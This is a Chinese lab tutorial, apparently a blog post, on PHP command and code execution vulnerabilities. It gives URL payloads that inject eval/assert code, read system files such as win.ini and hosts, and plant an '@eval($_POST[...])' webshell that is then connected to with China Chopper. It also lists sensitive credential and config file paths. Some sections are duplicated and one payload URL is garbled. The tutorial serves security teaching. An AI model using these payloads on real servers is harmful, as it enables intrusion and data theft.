web安全之命令执行漏洞

web安全之命令执行漏洞
Linux常用管道符:
;前面的执行完执行后面的
在终端中输入"whoami;ls",查看";“管道符前后两个命令都正确的结果
image2106051319411109bciepng
在终端中输入"whoam;ls”,查看";“管道符前面命令错误,后面命令正确的结果
image210605132247854ybf4dpng
在终端中输入"whoami;lss”,查看";“管道符前面命令正确,后面命令错误的结果
image210605132501397w8x1npng
在终端中输入"whoami|ls”,查看"|“管道符前后两个命令都正确的结果
image21060513335689485tsjpng
在终端中输入"whoam|ls”,查看"|“管道符前面命令错误,后面命令正确的结果
image210605132848415dm3qbpng
在终端中输入"whoami|lss”,查看"|“管道符前面命令正确,后面命令错误的结果
image210605132935292x1zfxpng
在终端中输入"whoami||ls”,查看"||“管道符前后两个命令都正确的结果
image210605133529582m2e50png
在终端中输入"whoam||ls”,查看"||“管道符前面命令错误,后面命令正确的结果
image210605133529582m2e50png
在终端中输入"whoami|lss”,查看"|"管道符前面命令正确,后面命令错误的结果
image210605133619825nfx91png
|是管道符,显示后面的执行结果
||当前面的执行出错时执行后面的

Windows常用管道符
&前面的语句为假则直接执行后面的
&&前面的语句为假则直接出错,后面的也不执行
|直接执行后面的语句
||前面出错执行后面的
应用程序有时需要调用一些执行命令的函数,由于服务器对代码中可执行的特殊函数入口没有做过滤,并且用户能够控制这些函数中的参数时,就可以将恶意命令拼接到正常命令中,从而造成命令执行攻击。
命令执行漏洞可以分为远程命令执行(代码执行)和系统命令执行两类,常见危险函数也分为两类:代码执行函数和命令执行函数。
PHP中常见代码执行函数:
array_map()
eval()
assert()
preg_replace()
call_user_func()
a ( a( a(b)动态函数

PHP中常见系统命令执行函数:
system()
exec()
shell_exec()
passthru()
popen()
反引号"·"


array_map函数的利用,ayyay_map函数为数组的每个元素应用回调函数,当攻击者可以控制函数的输入,从而利用array_map函数进行代码执行
image2106181421064738svbgpng

危险函数之eval函数的利用

在URL后拼接"?a=echo ‘This is test’;“,访问http://ip/os/eval.php?a=echo ‘This is test’;,执行代码
image210618165557298efhzipng
在URL后拼接”?a=phpinfo();",访问http://ip/os/eval.php?a=phpinfo();,查看执行效果
image210618165700327kgxr6png
掌握了eval函数的利用,成功实现了代码执行,体验了eval函数实现代码执行的过程。eval函数的作用是将字符串当作PHP代码执行
image210618165426255thftkpng

危险函数之assert函数

在URL后拼接"?a=var_dump(array(1,2,3)),访问http://ip/os/assert.php?a=var_dump(array(1,2,3)),执行代码
image210618194933388q7r8kpng
在URL后拼接"?a=phpinfo();",访问http://ip/os/assert.php?a=phpinfo(),查看执行效果
image210618194343239o509npng
掌握了assert函数的利用,成功实现了代码执行,体验了assert函数实现代码执行的过程。assert函数的作用同eval函数类似,也是将字符串当作PHP代码执行。
image2106181944209836n8wopng


危险函数之preg_replace函数

在URL后拼接"?a=var_dump(array(1,2,3)),访问http://ip/os/preg_replace.php?a=var_dump(array(1,2,3)),执行代码
image2106211024500813pielpng
在URL后拼接"?a=phpinfo();",访问http://ip/os/preg_replace.php?a=phpinfo(),查看执行效果
掌握preg_replace函数的image2106211028131761qxh9png利用,成功实现了代码执行,体验了preg_replace函数实现代码执行的过程。preg_replace函数的作用是搜索subject中正则匹配pattern的部分,以replacement进行替换。pattern:要搜索的模式,可以是一个字符串或字符串数组。当pattern出存在一个“/e”修饰符时,$replacement的值会被当成php代码来执行
image210621103117520sd5ippng


危险函数之preg_replace函数

在URL后拼接"?a=var_dump(array(1,2,3)),访问http://ip/os/preg_replace.php?a=var_dump(array(1,2,3)),执行代码
image2106211024500813pielpng
在URL后拼接"?a=phpinfo();",访问http://ip/os/preg_replace.php?a=phpinfo(),查看执行效果
image2106211028131761qxh9png

通过本实验,掌握preg_replace函数的利用,成功实现了代码执行,体验了preg_replace函数实现代码执行的过程。preg_replace函数的作用是搜索subject中正则匹配pattern的部分,以replacement进行替换。pattern:要搜索的模式,可以是一个字符串或字符串数组。当pattern出存在一个“/e”修饰符时,$replacement的值会被当成php代码来执行。
image210621103117520sd5ippng


危险函数之可变函数

在URL后拼接"?a=assert&b=var_dump(array(1,2,3)),访问http://ip/os/kbhs.php?a=var_dump(array(1,2,3)),执行代码
image210623234855324cvis4png
在URL后拼接"?a=assert&b=phpinfo()",访问http://ip/os/kbhs.php?a=assert&b=phpinfo(),查看执行效果
image210623234936790a6ufjpng
通过本实验,掌握可变函数的利用,成功实现了代码执行,体验了可变函数实现代码执行的过程。可变函数会把第一个参数作为函数使用,其余参数都是函数的参数。


远程命令执行漏洞利用之利用PHP魔术常量获取信息

探测到网站存在远程命令执行漏洞,可以利用PHP魔术常量获取相关信息。
PHP 向它运行的任何脚本提供了大量的预定义常量。不过很多常量都是由不同的扩展库定义的,只有在加载了这些扩展库时才会出现,或者动态加载后,或者在编译时已经包括进去了。有八个魔术常量它们的值随着它们在代码中的位置改变而改变。

__LINE__       文件中的当前行号
__FILE__       文件的完整路径和文件名。如果用在被包含文件中,则返回被包含的文件名
__DIR__        文件所在的目录。如果用在被包括文件中,则返回被包括的文件所在的目录
__FUNCTION__   该常量所在的函数名称(PHP 4.3.0 新加)。自PHP5起本常量返回该函数被定义时的名字(区分大小写)。在PHP4中该值总是小写字母的
__CLASS__      该类被定义时的名字(PHP 4.3.0 新加)。自PHP5起本常量返回该类被定义时的名字(区分大小写)
__TRAIT__      Trait的名字(PHP 5.4.0 新加)。自PHP5.4.0起,PHP实现了代码复用的一个方法,称为traits
__METHOD__     类的方法名(PHP 5.0.0 新加)。返回该方法被定义时的名字(区分大小写)
__NAMESPACE__  当前命名空间的名称(区分大小写)。此常量是在编译时定义的(PHP 5.3.0 新增)

在URL后拼接"?a=print(LINE),访问http://ip/os/assert.php?a=print(LINE),执行代码,获取当前代码所在的行数
image2106240014503658aez8png

在URL后拼接"?a=print(DIR),访问http://ip/os/assert.php?a=print(DIR),执行代码,获取当前文件所在的目录
image210624001609028nit8qpng

在URL后拼接"?a=print(FILE),访问http://ip/os/assert.php?a=print(FILE),执行代码,获取当前文件的完整路径
image210624001704772uaf3opng
掌握远程命令执行漏洞的利用,借助PHP中的魔术常量,获取相关信息。


远程命令执行漏洞利用之读取文件

利用远程命令执行漏洞可以读取一些操作系统的敏感文件,从而获取重要信息。
Windows系统敏感信息:

C:\boot.ini                                  //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml     //IIS配置文件
C:\windows\repair\sam                       //windows初次安装的密码
C:\program Files\mysql\my.ini               //Mysql配置信息
C:\program Files\mysql\data\mysql\user.MYD  //Mysql root C:\windows\php.ini                         //php配置信息
......

Linux系统敏感信息:

/etc/passwd                                       //linux用户信息
/usr/local/app/apache2/conf/httpd.conf            //apache2配置文件
/usr/local/app/php5/lib/php.ini                   //php配置文件
/etc/httpd/conf/httpd.conf                       //apache配置文件
/etc/my.cnf                                      //Mysql配置文件
......

在URL后拼接"a=var_dump(file_get_contents(‘C:\Windows\System32\drivers\etc\hosts’))",访问http://ip/os/assert.php?a=var_dump(file_get_contents(,执行代码,获取hosts文件信息
image210624004902262p4u80png

在URL后拼接"?a=var_dump(file_get_contents(‘C:\Windows\win.ini’))",访问http://ip/os/assert.php?a=var_dump(file_get_contents(‘C:\Windows\win.ini’)),执行代码,获取win.ini文件信息
image210624005140353cqlqrpng


远程命令执行漏洞利用之一句话木马

利用远程命令执行漏洞可以执行一句话木马,从而GetShell,借助WebShell工具连接一句话木马。
打开浏览器,访问http://ip/os/assert.php
image2106240011204471cf5jpng
在URL后拼接"?a=@eval( P O S T [ 666 ] ) " ,访问 h t t p : / / i p / o s / a s s e r t . p h p ? a = @ e v a l ( _POST[666])",访问http://ip/os/assert.php?a=@eval( POST[666])",访问http://ip/os/assert.php?a=@eval(_POST[666]),执行代码,构造一句话木马(Warning警告,但是并不影响)
image21062417300430987c9zpng

打开桌面tools文件夹的“中国菜刀(过狗)”,双击exe文件
imagepng

在空白处鼠标右击,点击“添加”,添加shell地址

  • 地址为:一句话木马地址和连接密码
  • 脚本类型:PHP

image21062417264810113l88png
点击“添加”,双击一句话木马地址
image210624172934189nlse7png

通过本实验,掌握远程命令执行漏洞的利用,执行一句话木马文件,从而GetShell。


远程命令执行漏洞利用之写shell

利用远程命令执行漏洞可以执行写文件的代码,生成新的脚本文件。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值